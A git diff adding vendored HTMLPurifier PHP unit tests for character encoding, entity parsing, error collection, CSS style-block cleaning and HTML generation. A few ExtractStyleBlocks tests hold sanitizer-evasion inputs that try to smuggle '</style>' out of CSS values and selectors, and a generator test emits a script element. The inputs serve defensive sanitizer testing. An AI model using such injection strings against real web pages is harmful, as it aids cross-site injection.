+ $this->assertASCIISupportCheck('JOHAB', array("\xE2\x82\xA9" => '\\'));
+ }
+ $this->assertASCIISupportCheck('ISO-8859-1', array());
+ $this->assertASCIISupportCheck('dontexist', array()); // canary
+ }
+
+ public function testShiftJIS()
+ {
+ if (!HTMLPurifier_Encoder::iconvAvailable()) return;
+ $this->config->set('Core.Encoding', 'Shift_JIS');
+ // This actually looks like a Yen, but we're going to treat it differently
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8('\\~', $this->config, $this->context),
+ '\\~'
+ );
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertToUTF8('\\~', $this->config, $this->context),
+ '\\~'
+ );
+ }
+
+ public function testIconvTruncateBug()
+ {
+ if (!HTMLPurifier_Encoder::iconvAvailable()) return;
+ if (HTMLPurifier_Encoder::testIconvTruncateBug() !== HTMLPurifier_Encoder::ICONV_TRUNCATES) return;
+ $this->config->set('Core.Encoding', 'ISO-8859-1');
+ $this->assertIdentical(
+ HTMLPurifier_Encoder::convertFromUTF8("\xE4\xB8\xAD" . str_repeat('a', 10000), $this->config, $this->context),
+ str_repeat('a', 10000)
+ );
+ }
+
+ public function testIconvChunking()
+ {
+ if (!HTMLPurifier_Encoder::iconvAvailable()) return;
+ if (HTMLPurifier_Encoder::testIconvTruncateBug() !== HTMLPurifier_Encoder::ICONV_TRUNCATES) return;
+ $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "a\xF3\xA0\x80\xA0b", 4), 'ab');
+ $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aa\xE4\xB8\xADb", 4), 'aab');
+ $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaa\xCE\xB1b", 4), 'aaab');
+ $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaaa\xF3\xA0\x80\xA0b", 4), 'aaaab');
+ $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaaa\xE4\xB8\xADb", 4), 'aaaab');
+ $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaaa\xCE\xB1b", 4), 'aaaab');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php
new file mode 100644
index 000000000..e8c3d35ed
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php
@@ -0,0 +1,27 @@
+<?php
+
+// this page is UTF-8 encoded!
+
+class HTMLPurifier_EntityLookupTest extends HTMLPurifier_Harness
+{
+
+ public function test()
+ {
+ $lookup = HTMLPurifier_EntityLookup::instance();
+
+ // latin char
+ $this->assertIdentical('â', $lookup->table['acirc']);
+
+ // special char
+ $this->assertIdentical('"', $lookup->table['quot']);
+ $this->assertIdentical('“', $lookup->table['ldquo']);
+ $this->assertIdentical('<', $lookup->table['lt']); // expressed strangely in source file
+
+ // symbol char
+ $this->assertIdentical('θ', $lookup->table['theta']);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php
new file mode 100644
index 000000000..dddb4d495
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php
@@ -0,0 +1,88 @@
+<?php
+
+class HTMLPurifier_EntityParserTest extends HTMLPurifier_Harness
+{
+
+ protected $EntityParser;
+
+ public function setUp()
+ {
+ $this->EntityParser = new HTMLPurifier_EntityParser();
+ $this->_entity_lookup = HTMLPurifier_EntityLookup::instance();
+ }
+
+ public function test_substituteNonSpecialEntities()
+ {
+ $char_theta = $this->_entity_lookup->table['theta'];
+ $this->assertIdentical($char_theta,
+ $this->EntityParser->substituteNonSpecialEntities('&theta;') );
+ $this->assertIdentical('"',
+ $this->EntityParser->substituteNonSpecialEntities('"') );
+
+ // numeric tests, adapted from Feyd
+ $args = array();
+ $args[] = array(1114112,false );
+ $args[] = array(1114111,'F48FBFBF'); // 0x0010FFFF
+ $args[] = array(1048576,'F4808080'); // 0x00100000
+ $args[] = array(1048575,'F3BFBFBF'); // 0x000FFFFF
+ $args[] = array(262144, 'F1808080'); // 0x00040000
+ $args[] = array(262143, 'F0BFBFBF'); // 0x0003FFFF
+ $args[] = array(65536, 'F0908080'); // 0x00010000
+ $args[] = array(65535, 'EFBFBF' ); // 0x0000FFFF
+ $args[] = array(57344, 'EE8080' ); // 0x0000E000
+ $args[] = array(57343, false ); // 0x0000DFFF these are ill-formed
+ $args[] = array(56040, false ); // 0x0000DAE8 these are ill-formed
+ $args[] = array(55296, false ); // 0x0000D800 these are ill-formed
+ $args[] = array(55295, 'ED9FBF' ); // 0x0000D7FF
+ $args[] = array(53248, 'ED8080' ); // 0x0000D000
+ $args[] = array(53247, 'ECBFBF' ); // 0x0000CFFF
+ $args[] = array(4096, 'E18080' ); // 0x00001000
+ $args[] = array(4095, 'E0BFBF' ); // 0x00000FFF
+ $args[] = array(2048, 'E0A080' ); // 0x00000800
+ $args[] = array(2047, 'DFBF' ); // 0x000007FF
+ $args[] = array(128, 'C280' ); // 0x00000080 invalid SGML char
+ $args[] = array(127, '7F' ); // 0x0000007F invalid SGML char
+ $args[] = array(0, '00' ); // 0x00000000 invalid SGML char
+
+ $args[] = array(20108, 'E4BA8C' ); // 0x00004E8C
+ $args[] = array(77, '4D' ); // 0x0000004D
+ $args[] = array(66306, 'F0908C82'); // 0x00010302
+ $args[] = array(1072, 'D0B0' ); // 0x00000430
+
+ foreach ($args as $arg) {
+ $string = '&#' . $arg[0] . ';' . // decimal
+ '&#x' . dechex($arg[0]) . ';'; // hex
+ $expect = '';
+ if ($arg[1] !== false) {
+ // this is only for PHP 5, the below is PHP 5 and PHP 4
+ //$chars = str_split($arg[1], 2);
+ $chars = array();
+ // strlen must be called in loop because strings size changes
+ for ($i = 0; strlen($arg[1]) > $i; $i += 2) {
+ $chars[] = $arg[1][$i] . $arg[1][$i+1];
+ }
+ foreach ($chars as $char) {
+ $expect .= chr(hexdec($char));
+ }
+ $expect .= $expect; // double it
+ }
+ $this->assertIdentical(
+ $this->EntityParser->substituteNonSpecialEntities($string),
+ $expect,
+ 'Identical expectation [Hex: '. dechex($arg[0]) .']'
+ );
+ }
+
+ }
+
+ public function test_substituteSpecialEntities()
+ {
+ $this->assertIdentical(
+ "'",
+ $this->EntityParser->substituteSpecialEntities('&#39;')
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php
new file mode 100644
index 000000000..675a71dda
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php
@@ -0,0 +1,52 @@
+<?php
+
+generate_mock_once('HTMLPurifier_ErrorCollector');
+
+/**
+ * Extended error collector mock that has the ability to expect context
+ */
+class HTMLPurifier_ErrorCollectorEMock extends HTMLPurifier_ErrorCollectorMock
+{
+
+ private $_context;
+ private $_expected_context = array();
+ private $_expected_context_at = array();
+
+ public function prepare($context)
+ {
+ $this->_context = $context;
+ }
+
+ public function expectContext($key, $value)
+ {
+ $this->_expected_context[$key] = $value;
+ }
+ public function expectContextAt($step, $key, $value)
+ {
+ $this->_expected_context_at[$step][$key] = $value;
+ }
+
+ public function send($v1, $v2)
+ {
+ // test for context
+ $context = SimpleTest::getContext();
+ $test = $context->getTest();
+ $mock = $this->mock;
+
+ foreach ($this->_expected_context as $key => $value) {
+ $test->assertEqual($value, $this->_context->get($key));
+ }
+ $step = $mock->getCallCount('send');
+ if (isset($this->_expected_context_at[$step])) {
+ foreach ($this->_expected_context_at[$step] as $key => $value) {
+ $test->assertEqual($value, $this->_context->get($key));
+ }
+ }
+ // boilerplate mock code, does not have return value or references
+ $args = func_get_args();
+ $mock->invoke('send', $args);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php
new file mode 100644
index 000000000..20cec81f5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php
@@ -0,0 +1,161 @@
+<?php
+
+/**
+ * @warning HTML output is in flux, but eventually needs to be stabilized.
+ */
+class HTMLPurifier_ErrorCollectorTest extends HTMLPurifier_Harness
+{
+
+ protected $language, $generator, $line;
+ protected $collector;
+
+ public function setup()
+ {
+ generate_mock_once('HTMLPurifier_Language');
+ generate_mock_once('HTMLPurifier_Generator');
+ parent::setup();
+ $this->language = new HTMLPurifier_LanguageMock();
+ $this->language->setReturnValue('getErrorName', 'Error', array(E_ERROR));
+ $this->language->setReturnValue('getErrorName', 'Warning', array(E_WARNING));
+ $this->language->setReturnValue('getErrorName', 'Notice', array(E_NOTICE));
+ // this might prove to be troublesome if we need to set config
+ $this->generator = new HTMLPurifier_Generator($this->config, $this->context);
+ $this->line = false;
+ $this->context->register('Locale', $this->language);
+ $this->context->register('CurrentLine', $this->line);
+ $this->context->register('Generator', $this->generator);
+ $this->collector = new HTMLPurifier_ErrorCollector($this->context);
+ }
+
+ public function test()
+ {
+ $language = $this->language;
+ $language->setReturnValue('getMessage', 'Message 1', array('message-1'));
+ $language->setReturnValue('formatMessage', 'Message 2', array('message-2', array(1 => 'param')));
+ $language->setReturnValue('formatMessage', ' at line 23', array('ErrorCollector: At line', array('line' => 23)));
+ $language->setReturnValue('formatMessage', ' at line 3', array('ErrorCollector: At line', array('line' => 3)));
+
+ $this->line = 23;
+ $this->collector->send(E_ERROR, 'message-1');
+
+ $this->line = 3;
+ $this->collector->send(E_WARNING, 'message-2', 'param');
+
+ $result = array(
+ 0 => array(23, E_ERROR, 'Message 1', array()),
+ 1 => array(3, E_WARNING, 'Message 2', array())
+ );
+
+ $this->assertIdentical($this->collector->getRaw(), $result);
+
+ /*
+ $formatted_result =
+ '<ul><li><strong>Warning</strong>: Message 2 at line 3</li>'.
+ '<li><strong>Error</strong>: Message 1 at line 23</li></ul>';
+
+ $this->assertIdentical($this->collector->getHTMLFormatted($this->config), $formatted_result);
+ */
+
+ }
+
+ public function testNoErrors()
+ {
+ $this->language->setReturnValue('getMessage', 'No errors', array('ErrorCollector: No errors'));
+
+ $formatted_result = '<p>No errors</p>';
+ $this->assertIdentical(
+ $this->collector->getHTMLFormatted($this->config),
+ $formatted_result
+ );
+ }
+
+ public function testNoLineNumbers()
+ {
+ $this->language->setReturnValue('getMessage', 'Message 1', array('message-1'));
+ $this->language->setReturnValue('getMessage', 'Message 2', array('message-2'));
+
+ $this->collector->send(E_ERROR, 'message-1');
+ $this->collector->send(E_ERROR, 'message-2');
+
+ $result = array(
+ 0 => array(false, E_ERROR, 'Message 1', array()),
+ 1 => array(false, E_ERROR, 'Message 2', array())
+ );
+ $this->assertIdentical($this->collector->getRaw(), $result);
+
+ /*
+ $formatted_result =
+ '<ul><li><strong>Error</strong>: Message 1</li>'.
+ '<li><strong>Error</strong>: Message 2</li></ul>';
+ $this->assertIdentical($this->collector->getHTMLFormatted($this->config), $formatted_result);
+ */
+ }
+
+ public function testContextSubstitutions()
+ {
+ $current_token = false;
+ $this->context->register('CurrentToken', $current_token);
+
+ // 0
+ $current_token = new HTMLPurifier_Token_Start('a', array('href' => 'http://example.com'), 32);
+ $this->language->setReturnValue('formatMessage', 'Token message',
+ array('message-data-token', array('CurrentToken' => $current_token)));
+ $this->collector->send(E_NOTICE, 'message-data-token');
+
+ $current_attr = 'href';
+ $this->language->setReturnValue('formatMessage', '$CurrentAttr.Name => $CurrentAttr.Value',
+ array('message-attr', array('CurrentToken' => $current_token)));
+
+ // 1
+ $this->collector->send(E_NOTICE, 'message-attr'); // test when context isn't available
+
+ // 2
+ $this->context->register('CurrentAttr', $current_attr);
+ $this->collector->send(E_NOTICE, 'message-attr');
+
+ $result = array(
+ 0 => array(32, E_NOTICE, 'Token message', array()),
+ 1 => array(32, E_NOTICE, '$CurrentAttr.Name => $CurrentAttr.Value', array()),
+ 2 => array(32, E_NOTICE, 'href => http://example.com', array())
+ );
+ $this->assertIdentical($this->collector->getRaw(), $result);
+
+ }
+
+ /*
+ public function testNestedErrors()
+ {
+ $this->language->setReturnValue('getMessage', 'Message 1', array('message-1'));
+ $this->language->setReturnValue('getMessage', 'Message 2', array('message-2'));
+ $this->language->setReturnValue('formatMessage', 'End Message', array('end-message', array(1 => 'param')));
+ $this->language->setReturnValue('formatMessage', ' at line 4', array('ErrorCollector: At line', array('line' => 4)));
+
+ $this->line = 4;
+ $this->collector->start();
+ $this->collector->send(E_WARNING, 'message-1');
+ $this->collector->send(E_NOTICE, 'message-2');
+ $this->collector->end(E_NOTICE, 'end-message', 'param');
+
+ $expect = array(
+ 0 => array(4, E_NOTICE, 'End Message', array(
+ 0 => array(4, E_WARNING, 'Message 1', array()),
+ 1 => array(4, E_NOTICE, 'Message 2', array()),
+ )),
+ );
+ $result = $this->collector->getRaw();
+ $this->assertIdentical($result, $expect);
+
+ $formatted_expect =
+ '<ul><li><strong>Notice</strong>: End Message at line 4<ul>'.
+ '<li><strong>Warning</strong>: Message 1 at line 4</li>'.
+ '<li><strong>Notice</strong>: Message 2 at line 4</li></ul>'.
+ '</li></ul>';
+ $formatted_result = $this->collector->getHTMLFormatted($this->config);
+ $this->assertIdentical($formatted_result, $formatted_expect);
+
+ }
+ */
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php
new file mode 100644
index 000000000..4e38fed02
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * @todo Make the callCount variable actually work, so we can precisely
+ * specify what errors we want: no more, no less
+ */
+class HTMLPurifier_ErrorsHarness extends HTMLPurifier_Harness
+{
+
+ protected $config, $context;
+ protected $collector, $generator, $callCount;
+
+ public function setup()
+ {
+ $this->config = HTMLPurifier_Config::create(array('Core.CollectErrors' => true));
+ $this->context = new HTMLPurifier_Context();
+ generate_mock_once('HTMLPurifier_ErrorCollector');
+ $this->collector = new HTMLPurifier_ErrorCollectorEMock();
+ $this->collector->prepare($this->context);
+ $this->context->register('ErrorCollector', $this->collector);
+ $this->callCount = 0;
+ }
+
+ protected function expectNoErrorCollection()
+ {
+ $this->collector->expectNever('send');
+ }
+
+ protected function expectErrorCollection()
+ {
+ $args = func_get_args();
+ $this->collector->expectOnce('send', $args);
+ }
+
+ protected function expectContext($key, $value)
+ {
+ $this->collector->expectContext($key, $value);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php
new file mode 100644
index 000000000..695e995fb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php
@@ -0,0 +1,261 @@
+<?php
+
+/**
+ * @todo Assimilate CSSTidy into our library
+ */
+class HTMLPurifier_Filter_ExtractStyleBlocksTest extends HTMLPurifier_Harness
+{
+
+ // usual use case:
+ public function test_tokenizeHTML_extractStyleBlocks()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks', true);
+ $purifier = new HTMLPurifier($this->config);
+ $result = $purifier->purify('<style type="text/css">.foo {text-align:center;bogus:remove-me;} body.class[foo="attr"] {text-align:right;}</style>Test<style>* {font-size:12pt;}</style>');
+ $this->assertIdentical($result, 'Test');
+ $this->assertIdentical($purifier->context->get('StyleBlocks'),
+ array(
+ ".foo {\ntext-align:center;\n}",
+ "* {\nfont-size:12pt;\n}"
+ )
+ );
+ }
+
+ public function assertExtractStyleBlocks($html, $expect = true, $styles = array())
+ {
+ $filter = new HTMLPurifier_Filter_ExtractStyleBlocks(); // disable cleaning
+ if ($expect === true) $expect = $html;
+ $this->config->set('Filter.ExtractStyleBlocks.TidyImpl', false);
+ $result = $filter->preFilter($html, $this->config, $this->context);
+ $this->assertIdentical($result, $expect);
+ $this->assertIdentical($this->context->get('StyleBlocks'), $styles);
+ }
+
+ public function test_extractStyleBlocks_preserve()
+ {
+ $this->assertExtractStyleBlocks('Foobar');
+ }
+
+ public function test_extractStyleBlocks_allStyle()
+ {
+ $this->assertExtractStyleBlocks('<style>foo</style>', '', array('foo'));
+ }
+
+ public function test_extractStyleBlocks_multipleBlocks()
+ {
+ $this->assertExtractStyleBlocks(
+ "<style>1</style><style>2</style>NOP<style>4</style>",
+ "NOP",
+ array('1', '2', '4')
+ );
+ }
+
+ public function test_extractStyleBlocks_blockWithAttributes()
+ {
+ $this->assertExtractStyleBlocks(
+ '<style type="text/css">css</style>',
+ '',
+ array('css')
+ );
+ }
+
+ public function test_extractStyleBlocks_styleWithPadding()
+ {
+ $this->assertExtractStyleBlocks(
+ "Alas<styled>Awesome</styled>\n<style>foo</style> Trendy!",
+ "Alas<styled>Awesome</styled>\n Trendy!",
+ array('foo')
+ );
+ }
+
+ public function assertCleanCSS($input, $expect = true)
+ {
+ $filter = new HTMLPurifier_Filter_ExtractStyleBlocks();
+ if ($expect === true) $expect = $input;
+ $this->normalize($input);
+ $this->normalize($expect);
+ $result = $filter->cleanCSS($input, $this->config, $this->context);
+ $this->assertIdentical($result, $expect);
+ }
+
+ public function test_cleanCSS_malformed()
+ {
+ $this->assertCleanCSS('</style>', '');
+ }
+
+ public function test_cleanCSS_selector()
+ {
+ $this->assertCleanCSS("a .foo #id div.cl#foo {\nfont-weight:700;\n}");
+ }
+
+ public function test_cleanCSS_angledBrackets()
+ {
+ // [Content] No longer can smuggle in angled brackets using
+ // font-family; when we add support for 'content', reinstate
+ // this test.
+ //$this->assertCleanCSS(
+ // ".class {\nfont-family:'</style>';\n}",
+ // ".class {\nfont-family:\"\\3C /style\\3E \";\n}"
+ //);
+ }
+
+ public function test_cleanCSS_angledBrackets2()
+ {
+ // CSSTidy's behavior in this case is wrong, and should be fixed
+ //$this->assertCleanCSS(
+ // "span[title=\"</style>\"] {\nfont-size:12pt;\n}",
+ // "span[title=\"\\3C /style\\3E \"] {\nfont-size:12pt;\n}"
+ //);
+ }
+
+ public function test_cleanCSS_bogus()
+ {
+ $this->assertCleanCSS("div {bogus:tree;}", "div {\n}");
+ }
+
+ /* [CONTENT]
+ public function test_cleanCSS_escapeCodes()
+ {
+ $this->assertCleanCSS(
+ ".class {\nfont-family:\"\\3C /style\\3E \";\n}"
+ );
+ }
+
+ public function test_cleanCSS_noEscapeCodes()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Escaping', false);
+ $this->assertCleanCSS(
+ ".class {\nfont-family:\"</style>\";\n}"
+ );
+ }
+ */
+
+ public function test_cleanCSS_scope()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo');
+ $this->assertCleanCSS(
+ "p {\ntext-indent:1em;\n}",
+ "#foo p {\ntext-indent:1em;\n}"
+ );
+ }
+
+ public function test_cleanCSS_scopeWithSelectorCommas()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo');
+ $this->assertCleanCSS(
+ "b, i {\ntext-decoration:underline;\n}",
+ "#foo b, #foo i {\ntext-decoration:underline;\n}"
+ );
+ }
+
+ public function test_cleanCSS_scopeWithNaughtySelector()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo');
+ $this->assertCleanCSS(" + p {\ntext-indent:1em;\n}", '');
+ }
+
+ public function test_cleanCSS_scopeWithMultipleNaughtySelectors()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo');
+ $this->assertCleanCSS(" ++ ++ p {\ntext-indent:1em;\n}", '');
+ }
+
+ public function test_cleanCSS_scopeWithCommas()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo, .bar');
+ $this->assertCleanCSS(
+ "p {\ntext-indent:1em;\n}",
+ "#foo p, .bar p {\ntext-indent:1em;\n}"
+ );
+ }
+
+ public function test_cleanCSS_scopeAllWithCommas()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Scope', '#foo, .bar');
+ $this->assertCleanCSS(
+ "p, div {\ntext-indent:1em;\n}",
+ "#foo p, .bar p, #foo div, .bar div {\ntext-indent:1em;\n}"
+ );
+ }
+
+ public function test_cleanCSS_scopeWithConflicts()
+ {
+ $this->config->set('Filter.ExtractStyleBlocks.Scope', 'p');
+ $this->assertCleanCSS(
+"div {
+text-align:right;
+}
+
+p div {
+text-align:left;
+}",
+
+"p div {
+text-align:right;
+}
+
+p p div {
+text-align:left;
+}"
+ );
+ }
+
+ public function test_removeComments()
+ {
+ $this->assertCleanCSS(
+"<!--
+div {
+text-align:right;
+}
+-->",
+"div {
+text-align:right;
+}"
+ );
+ }
+
+ public function test_atSelector()
+ {
+ $this->assertCleanCSS(
+"{
+ b { text-align: center; }
+}",
+""
+ );
+ }
+
+ public function test_selectorValidation()
+ {
+ $this->assertCleanCSS(
+"&, & {
+text-align: center;
+}",
+""
+ );
+ $this->assertCleanCSS(
+"&, b {
+text-align:center;
+}",
+"b {
+text-align:center;
+}"
+ );
+ $this->assertCleanCSS(
+"& a #foo:hover.bar +b > i {
+text-align:center;
+}",
+"a #foo:hover.bar + b \\3E i {
+text-align:center;
+}"
+ );
+ $this->assertCleanCSS("doesnt-exist { text-align:center }", "");
+ }
+
+ public function test_cleanCSS_caseSensitive()
+ {
+ $this->assertCleanCSS("a .foo #ID div.cl#foo {\nbackground:url(\"http://foo/BAR\");\n}");
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php
new file mode 100644
index 000000000..e4906ab87
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php
@@ -0,0 +1,319 @@
+<?php
+
+class HTMLPurifier_GeneratorTest extends HTMLPurifier_Harness
+{
+
+ /**
+ * Entity lookup table to help for a few tests.
+ */
+ private $_entity_lookup;
+
+ public function __construct()
+ {
+ parent::__construct();
+ $this->_entity_lookup = HTMLPurifier_EntityLookup::instance();
+ }
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('Output.Newline', "\n");
+ }
+
+ /**
+ * Creates a generator based on config and context member variables.
+ */
+ protected function createGenerator()
+ {
+ return new HTMLPurifier_Generator($this->config, $this->context);
+ }
+
+ protected function assertGenerateFromToken($token, $html)
+ {
+ $generator = $this->createGenerator();
+ $result = $generator->generateFromToken($token);
+ $this->assertIdentical($result, $html);
+ }
+
+ public function test_generateFromToken_text()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Text('Foobar.<>'),
+ 'Foobar.&lt;&gt;'
+ );
+ }
+
+ public function test_generateFromToken_startWithAttr()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Start('a',
+ array('href' => 'dyn?a=foo&b=bar')
+ ),
+ '<a href="dyn?a=foo&amp;b=bar">'
+ );
+ }
+
+ public function test_generateFromToken_end()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_End('b'),
+ '</b>'
+ );
+ }
+
+ public function test_generateFromToken_emptyWithAttr()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Empty('br',
+ array('style' => 'font-family:"Courier New";')
+ ),
+ '<br style="font-family:&quot;Courier New&quot;;" />'
+ );
+ }
+
+ public function test_generateFromToken_startNoAttr()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Start('asdf'),
+ '<asdf>'
+ );
+ }
+
+ public function test_generateFromToken_emptyNoAttr()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Empty('br'),
+ '<br />'
+ );
+ }
+
+ public function test_generateFromToken_error()
+ {
+ $this->expectError('Cannot generate HTML from non-HTMLPurifier_Token object');
+ $this->assertGenerateFromToken( null, '' );
+ }
+
+ public function test_generateFromToken_unicode()
+ {
+ $theta_char = $this->_entity_lookup->table['theta'];
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Text($theta_char),
+ $theta_char
+ );
+ }
+
+ public function test_generateFromToken_backtick()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Start('img', array('alt' => '`foo')),
+ '<img alt="`foo ">'
+ );
+ }
+
+ public function test_generateFromToken_backtickDisabled()
+ {
+ $this->config->set('Output.FixInnerHTML', false);
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Start('img', array('alt' => '`')),
+ '<img alt="`">'
+ );
+ }
+
+ public function test_generateFromToken_backtickNoChange()
+ {
+ $this->assertGenerateFromToken(
+ new HTMLPurifier_Token_Start('img', array('alt' => '`foo` bar')),
+ '<img alt="`foo` bar">'
+ );
+ }
+
+ public function assertGenerateAttributes($attr, $expect, $element = false)
+ {
+ $generator = $this->createGenerator();
+ $result = $generator->generateAttributes($attr, $element);
+ $this->assertIdentical($result, $expect);
+ }
+
+ public function test_generateAttributes_blank()
+ {
+ $this->assertGenerateAttributes(array(), '');
+ }
+
+ public function test_generateAttributes_basic()
+ {
+ $this->assertGenerateAttributes(
+ array('href' => 'dyn?a=foo&b=bar'),
+ 'href="dyn?a=foo&amp;b=bar"'
+ );
+ }
+
+ public function test_generateAttributes_doubleQuote()
+ {
+ $this->assertGenerateAttributes(
+ array('style' => 'font-family:"Courier New";'),
+ 'style="font-family:&quot;Courier New&quot;;"'
+ );
+ }
+
+ public function test_generateAttributes_singleQuote()
+ {
+ $this->assertGenerateAttributes(
+ array('style' => 'font-family:\'Courier New\';'),
+ 'style="font-family:\'Courier New\';"'
+ );
+ }
+
+ public function test_generateAttributes_multiple()
+ {
+ $this->assertGenerateAttributes(
+ array('src' => 'picture.jpg', 'alt' => 'Short & interesting'),
+ 'src="picture.jpg" alt="Short &amp; interesting"'
+ );
+ }
+
+ public function test_generateAttributes_specialChar()
+ {
+ $theta_char = $this->_entity_lookup->table['theta'];
+ $this->assertGenerateAttributes(
+ array('title' => 'Theta is ' . $theta_char),
+ 'title="Theta is ' . $theta_char . '"'
+ );
+ }
+
+
+ public function test_generateAttributes_minimized()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Transitional');
+ $this->assertGenerateAttributes(
+ array('compact' => 'compact'), 'compact', 'menu'
+ );
+ }
+
+ public function test_generateFromTokens()
+ {
+ $this->assertGeneration(
+ array(
+ new HTMLPurifier_Token_Start('b'),
+ new HTMLPurifier_Token_Text('Foobar!'),
+ new HTMLPurifier_Token_End('b')
+ ),
+ '<b>Foobar!</b>'
+ );
+
+ }
+
+ protected function assertGeneration($tokens, $expect)
+ {
+ $generator = new HTMLPurifier_Generator($this->config, $this->context);
+ $result = $generator->generateFromTokens($tokens);
+ $this->assertIdentical($expect, $result);
+ }
+
+ public function test_generateFromTokens_Scripting()
+ {
+ $this->assertGeneration(
+ array(
+ new HTMLPurifier_Token_Start('script'),
+ new HTMLPurifier_Token_Text('alert(3 < 5);'),
+ new HTMLPurifier_Token_End('script')
+ ),
+ "<script><!--//--><![CDATA[//><!--\nalert(3 < 5);\n//--><!]]></script>"
+ );
+ }
+
+ public function test_generateFromTokens_Scripting_missingCloseTag()
+ {
+ $this->assertGeneration(
+ array(
+ new HTMLPurifier_Token_Start('script'),
+ new HTMLPurifier_Token_Text('alert(3 < 5);'),
+ ),
+ "<script>alert(3 &lt; 5);"
+ );
+ }
+
+ public function test_generateFromTokens_Scripting_doubleBlock()
+ {
+ $this->assertGeneration(
+ array(
+ new HTMLPurifier_Token_Start('script'),
+ new HTMLPurifier_Token_Text('alert(3 < 5);'),
+ new HTMLPurifier_Token_Text('foo();'),
+ new HTMLPurifier_Token_End('script')
+ ),
+ "<script>alert(3 &lt; 5);foo();</script>"
+ );
+ }
+
+ public function test_generateFromTokens_Scripting_disableWrapper()
+ {
+ $this->config->set('Output.CommentScriptContents', false);
+ $this->assertGeneration(
+ array(
+ new HTMLPurifier_Token_Start('script'),
+ new HTMLPurifier_Token_Text('alert(3 < 5);'),
+ new HTMLPurifier_Token_End('script')
+ ),
+ "<script>alert(3 &lt; 5);</script>"
+ );
+ }
+
+ public function test_generateFromTokens_XHTMLoff()
+ {
+ $this->config->set('HTML.XHTML', false);
+
+ // omit trailing slash
+ $this->assertGeneration(
+ array( new HTMLPurifier_Token_Empty('br') ),
+ '<br>'
+ );
+
+ // there should be a test for attribute minimization, but it is
+ // impossible for something like that to happen due to our current
+ // definitions! fix it later
+
+ // namespaced attributes must be dropped
+ $this->assertGeneration(
+ array( new HTMLPurifier_Token_Start('p', array('xml:lang'=>'fr')) ),
+ '<p>'
+ );
+
+ }
+
+ public function test_generateFromTokens_TidyFormat()
+ {
+ // abort test if tidy isn't loaded
+ if (!extension_loaded('tidy')) return;
+
+ // just don't test; Tidy is exploding on me.
+ return;
+
+ $this->config->set('Core.TidyFormat', true);
+ $this->config->set('Output.Newline', "\n");
+
+ // nice wrapping please
+ $this->assertGeneration(
+ array(
